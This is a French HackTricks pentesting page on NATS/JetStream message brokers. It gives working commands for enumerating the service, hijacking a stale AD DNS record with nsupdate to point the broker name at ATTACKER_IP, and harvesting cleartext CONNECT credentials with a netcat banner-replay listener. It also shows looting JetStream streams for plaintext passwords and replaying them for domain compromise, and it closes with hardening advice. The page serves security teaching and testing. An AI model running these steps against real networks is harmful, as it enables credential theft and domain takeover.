4222 - Pentesting NATS / JetStream

Tip

Apprenez et pratiquez le hacking AWS :HackTricks Training AWS Red Team Expert (ARTE)
Apprenez et pratiquez le hacking GCP : HackTricks Training GCP Red Team Expert (GRTE) Apprenez et pratiquez le hacking Azure : HackTricks Training Azure Red Team Expert (AzRTE)

Soutenir HackTricks

Informations de base

NATS est un message bus haute performance qui utilise un protocole textuel simple : le serveur transmet immédiatement après la connexion TCP une bannière JSON INFO { ... }, et le client répond par un frame CONNECT {"user":"USERNAME","pass":"PASSWORD",...} suivi éventuellement de commandes PING/PUB/SUB. JetStream ajoute des primitives de persistance (Streams & Consumers) sur le même port TCP (4222/tcp). TLS et l’authentification sont optionnelles, donc de nombreux déploiements internes fonctionnent en plaintext AUTH.

  • Port par défaut : 4222/tcp (4223+ pour les routes en cluster)
  • Champs de bannière par défaut : "version", "auth_required", "jetstream", "max_payload", "tls_required"

Énumération

nmap -p4222 -sV --script banner TARGET
# Sample output
# 4222/tcp open  nats  NATS.io gnatsd 2.11.3
# | banner: INFO {"server_id":"NDo...","version":"2.11.3","proto":1,"auth_required":true,"jetstream":true,"max_payload":1048576}

La trame INFO peut aussi être récupérée manuellement :

echo | nc HOST 4222
INFO {"server_id":"NCLWJ...","version":"2.11.3","auth_required":true,"jetstream":true}
-ERR 'Authorization Violation'

Installez le CLI officiel (Go ≥1.21) pour une interaction plus approfondie:

go install github.com/nats-io/natscli/nats@latest
nats -s nats://HOST:4222 rtt

Les échecs d’authentification déclenchent immédiatement nats: Authorization Violation, donc des creds valides sont nécessaires pour toute RPC significative.

Credential capture via DNS/service impersonation

  • Identifiez les enregistrements AD DNS obsolètes pour le hostname du broker (p. ex. nats-svc.domain.local). Si l’enregistrement renvoie NXDOMAIN, un utilisateur de domaine à faibles privilèges peut le recréer grâce aux dynamic-update ACLs par défaut. Voir AD DNS Records abuse pour le contexte.
  • Enregistrez le hostname vers une IP contrôlée par l’attaquant:
nsupdate
> server DC_IP
> update add nats-svc.domain.local 60 A ATTACKER_IP
> send
  • Dupliquez la banner légitime une fois, puis rejouez-la à chaque client qui se connecte. NATS fait confiance à la première ligne INFO qu’il voit, donc il suffit de la faire transiter via un listener :
nc REAL_NATS 4222 | head -1 | nc -lnvp 4222
  • Dès qu’un client interne résout le nom usurpé, il émettra un frame CONNECT en clair contenant la paire user / pass et diverses télémétries (client name, Go version, protocol level). Parce que rien au‑delà du INFO banner n’est requis, même nc suffit pour récolter les secrets.
  • Pour des engagements plus longs, lancez le serveur officiel localement (git clone https://github.com/nats-io/nats-server && go build && ./nats-server -V). TRACE logging affiche déjà les usernames ; supprimer le redaction helper ou sniffer le trafic avec Wireshark révèle le mot de passe complet.

JetStream looting & password hunting

Une fois qu’un identifiant est récupéré (p.ex. Dev_Account_A), enregistrez‑le comme contexte CLI pour éviter de le retaper:

nats context add mirage -s nats://dc01.mirage.htb --user Dev_Account_A --password 'hx5h7F5554fP@1337!'

La découverte de JetStream suit généralement ce schéma :

nats account info --context mirage      # quotas, stream count, expiration
nats stream list --context mirage       # names + message totals
nats stream info auth_logs --context mirage
nats stream view auth_logs --context mirage

Les équipes de streaming enregistrent fréquemment les événements d’authentification dans des sujets tels que logs.auth. Si les développeurs conservent le JSON brut dans un stream JetStream, les payloads peuvent inclure des noms d’utilisateur et mots de passe AD en clair :

{"user":"david.jjackson","password":"pN8kQmn6b86!1234@","ip":"10.10.10.20"}

Les secrets retenus peuvent ensuite être rejoués contre des services Kerberos uniquement en utilisant netexec smb DC01 -u USER -p PASS -k, permettant une compromission complète du domaine.

Durcissement & détection

  • Exiger TLS (tls, tls_required, or mTLS via nkey/creds). Sans chiffrement, INFO/CONNECT leaks credentials to anyone on-path.
  • Identifier qui peut mettre à jour le DNS – déléguez les enregistrements de service à des comptes dédiés et auditez les Event IDs 257/252 pour les hostnames de grande valeur. Combinez avec des scavenging alerts afin que les broker names manquants ne puissent pas être re-claimed silencieusement.
  • Désactiver la journalisation des credentials. Nettoyez les secrets avant de les publier sur des subjects, définissez des limites de rétention/âge JetStream, et n’appliquez deny_delete=false qu’aux opérateurs de confiance.
  • Surveiller les anomalies de banner – connexions répétées et de courte durée, timeouts d’authentification, ou INFO banners qui ne correspondent pas au template approuvé suggèrent des serveurs spoofed.

Références

Tip

Apprenez et pratiquez le hacking AWS :HackTricks Training AWS Red Team Expert (ARTE)
Apprenez et pratiquez le hacking GCP : HackTricks Training GCP Red Team Expert (GRTE) Apprenez et pratiquez le hacking Azure : HackTricks Training Azure Red Team Expert (AzRTE)

Soutenir HackTricks